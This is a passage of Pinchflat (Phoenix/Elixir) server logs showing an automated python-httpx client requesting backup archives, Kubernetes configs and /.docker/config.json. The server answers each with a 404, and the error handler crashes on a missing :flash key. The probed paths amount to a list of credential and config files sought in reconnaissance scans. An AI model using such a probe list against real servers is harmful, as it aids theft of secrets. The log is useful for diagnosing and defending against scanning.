], request_path: "/site-backup.zip", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0q8JhUAqTWkAAKNx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, (truncated) 14:08:06.261 [info] GET /backup.tar.gz 14:08:06.263 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1134.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:06.265 [debug] QUERY OK source="settings" db=1.5ms idle=1135.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:06.265 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:06.266 [error] #PID<0.12422.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 126) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /backup.tar.gz ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup.tar (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup.tar.gz", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 126, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12422.0>, params: %{}, path_info: ["backup.tar"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/backup.tar.gz", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0utRQbAD8oAAAKOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup.tar.gz", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 126, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup.tar (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup.tar.gz", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 126, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12422.0>, params: %{}, path_info: ["backup.tar"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/backup.tar.gz", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0utRQbAD8oAAAKOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: P (truncated) 14:08:06.963 [info] GET /k8s-config.yml 14:08:06.964 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1711.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:06.965 [debug] QUERY OK source="settings" db=0.5ms queue=0.5ms idle=1711.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:06.966 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:06.966 [error] #PID<0.12423.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 127) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /k8s-config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /k8s-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s-config.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 127, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12423.0>, params: %{}, path_info: ["k8s-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/k8s-config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0xUbitr2_bAAAKOR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s-config.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 127, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /k8s-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/k8s-config.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 127, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12423.0>, params: %{}, path_info: ["k8s-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/k8s-config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0xUbitr2_bAAAKOR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 14:08:07.409 [info] GET /kubernetes.yml 14:08:07.411 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1147.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:07.412 [debug] QUERY OK source="settings" db=0.7ms queue=0.4ms idle=1146.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:07.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:07.413 [error] #PID<0.12424.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 128) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /kubernetes.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kubernetes (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 128, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12424.0>, params: %{}, path_info: ["kubernetes"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/kubernetes.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0y-9rq7OVwUAAKOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 128, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /kubernetes (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/kubernetes.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 128, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12424.0>, params: %{}, path_info: ["kubernetes"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/kubernetes.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0y-9rq7OVwUAAKOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 14:08:08.033 [info] GET /.docker/config.json 14:08:08.034 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1069.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:08.036 [debug] QUERY OK source="settings" db=0.8ms idle=1069.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:08.036 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:08.037 [error] #PID<0.12425.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 129) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.docker/config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.docker/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 129, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12425.0>, params: %{}, path_info: [".docker", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.docker/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj01TnMzaTXWkAAKOx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 129, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.docker/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 129, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12425.0>, params: %{}, path_info: [".docker", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", 